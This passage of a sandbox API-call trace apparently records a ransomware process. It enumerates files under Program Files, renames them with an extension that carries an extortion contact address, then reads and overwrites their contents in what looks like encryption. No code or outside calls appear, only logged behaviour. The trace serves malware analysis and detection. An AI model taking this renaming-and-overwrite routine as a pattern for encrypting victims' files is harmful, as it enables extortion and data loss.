lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.716] Sleep (dwMilliseconds=0x1) [0111.730] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi", len=0x41 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 1 [0111.731] GetProcessHeap () returned 0x630000 [0111.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d53c0, Size=0x34) returned 0x6d51c0 [0111.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.731] Sleep (dwMilliseconds=0x1) [0111.746] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui", len=0x55 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned 1 [0111.746] GetProcessHeap () returned 0x630000 [0111.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x30) returned 0x6ed6268 [0111.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.746] Sleep (dwMilliseconds=0x1) [0111.762] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui", len=0x54 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned 1 [0111.762] GetProcessHeap () returned 0x630000 [0111.762] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6268, Size=0x2c) returned 0x6ed6230 [0111.762] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.764] Sleep (dwMilliseconds=0x1) [0111.777] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi", len=0x43 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 1 [0111.777] GetProcessHeap () returned 0x630000 [0111.777] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6230, Size=0x28) returned 0x699bb8 [0111.778] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.779] Sleep (dwMilliseconds=0x1) [0111.819] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi", len=0x44 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 1 [0111.819] GetProcessHeap () returned 0x630000 [0111.819] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699bb8, Size=0x24) returned 0x699c78 [0111.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0111.820] Sleep (dwMilliseconds=0x1) [0113.209] Sleep (dwMilliseconds=0x1) [0113.943] Sleep (dwMilliseconds=0x1) [0114.319] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.908] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.284] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", len=0x2a | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 1 [0119.284] GetProcessHeap () returned 0x630000 [0119.284] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x158) returned 0x66a3e0 [0119.284] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.284] CloseHandle (hObject=0x6bc) returned 1 [0119.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.285] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.285] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LICENS~1.FIR")) returned 0x6d5200 [0119.286] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0119.286] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0119.286] GetProcessHeap () returned 0x630000 [0119.286] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x64a3b8 [0119.286] GetProcessHeap () returned 0x630000 [0119.286] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x649f58 [0119.286] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.286] ReadFile (in: hFile=0x6bc, lpBuffer=0x64a3b8, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a3b8*, lpNumberOfBytesRead=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.287] GetProcessHeap () returned 0x630000 [0119.287] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0119.287] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.287] WriteFile (in: hFile=0x6bc, lpBuffer=0x649f58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f58*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.287] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.287] WriteFile (in: hFile=0x6bc, lpBuffer=0x649f77*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f77*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0119.287] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.287] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0119.287] CloseHandle (hObject=0x6bc) returned 1 [0119.288] GetProcessHeap () returned 0x630000 [0119.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x649f58 | out: hHeap=0x630000) returned 1 [0119.288] GetProcessHeap () returned 0x630000 [0119.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x64a3b8 | out: hHeap=0x630000) returned 1 [0119.288] GetProcessHeap () returned 0x630000 [0119.288] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0119.288] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xd0c7612, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x3bbfd20, dwReserved1=0x64a3b8, cFileName="LICENSE.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LICENS~1.FIR")) returned 0x6d5580 [0119.289] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0119.289] Sleep (dwMilliseconds=0x1) [0120.311] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries", len=0x41 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries") returned 1 [0120.311] GetProcessHeap () returned 0x630000 [0120.311] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x144) returned 0x66a3e0 [0120.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0120.311] CloseHandle (hObject=0x5e4) returned 1 [0120.311] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.312] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TRUSTE~1.FIR")) returned 0x6d5000 [0120.313] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0120.313] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef0c, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m3m") returned 48 [0120.313] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries.id-1998248312_[contact-support@elude.in].firex3m"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries")) returned 1 [0120.313] Sleep (dwMilliseconds=0x1) [0120.340] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security", len=0x3d | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 1 [0120.340] GetProcessHeap () returned 0x630000 [0120.340] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x138) returned 0x66a3e0 [0120.340] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.340] CloseHandle (hObject=0x6bc) returned 1 [0120.340] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.341] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.341] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.341] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8eac, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVASE~1.FIR")) returned 0x6d5200 [0120.347] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.352] GetProcessHeap () returned 0x630000 [0120.353] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8ec1) returned 0x6ec0048 [0120.356] GetProcessHeap () returned 0x630000 [0120.356] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8ec1) returned 0x6fc0048 [0120.356] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.356] ReadFile (in: hFile=0x6bc, lpBuffer=0x6ec0048, nNumberOfBytesToRead=0x8ea0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesRead=0x3bbff0c*=0x8ea0, lpOverlapped=0x0) returned 1 [0123.136] GetProcessHeap () returned 0x630000 [0123.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee710 [0123.137] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.137] WriteFile (in: hFile=0x6bc, lpBuffer=0x6fc0048*, nNumberOfBytesToWrite=0x8ea0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc0048*, lpNumberOfBytesWritten=0x3bbff0c*=0x8ea0, lpOverlapped=0x0) returned 1 [0123.137] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.137] WriteFile (in: hFile=0x6bc, lpBuffer=0x6fc8ee7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc8ee7*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.137] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.137] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.138] CloseHandle (hObject=0x6bc) returned 1 [0123.139] GetProcessHeap () returned 0x630000 [0123.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc0048 | out: hHeap=0x630000) returned 1 [0123.142] GetProcessHeap () returned 0x630000 [0123.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0123.142] GetProcessHeap () returned 0x630000 [0123.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee710 | out: hHeap=0x630000) returned 1 [0128.493] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf597efd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8ed0, dwReserved0=0xc947496, dwReserved1=0x6ec0040, cFileName="java.security.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVASE~1.FIR")) returned 0x6d5200 [0128.494] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0128.494] Sleep (dwMilliseconds=0x1) [0128.543] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties", len=0x38 | out: pbstr=0x3bbff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties") returned 1 [0128.543] GetProcessHeap () returned 0x630000 [0128.543] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xe0) returned 0x66a3e0 [0128.543] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.543] CloseHandle (hObject=0x4e0) returned 1 [0128.543] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.544] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.544] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.properties.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAFX~1.FIR")) returned 0x6d4e00 [0128.544] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0128.544] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\javafx.properties.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0128.545] GetProcessHeap () returned 0x630000 [0128.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x649f58 [0128.545] GetProcessHeap () returned 0x630000 [0128.545] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x41) returned 0x64a048 [0128.545] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.545] ReadFile (in: hFile=0x4e0, lpBuffer=0x649f58, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x649f58*, lpNumberOfBytesRead=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.546] GetProcessHeap () returned 0x630000 [0128.546] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0128.546] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.546] WriteFile (in: hFile=0x4e0, lpBuffer=0x64a048*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a048*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.546] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.546] WriteFile (in: hFile=0x4e0, lpBuffer=0x64a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x64a067*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0128.546] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.546] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, 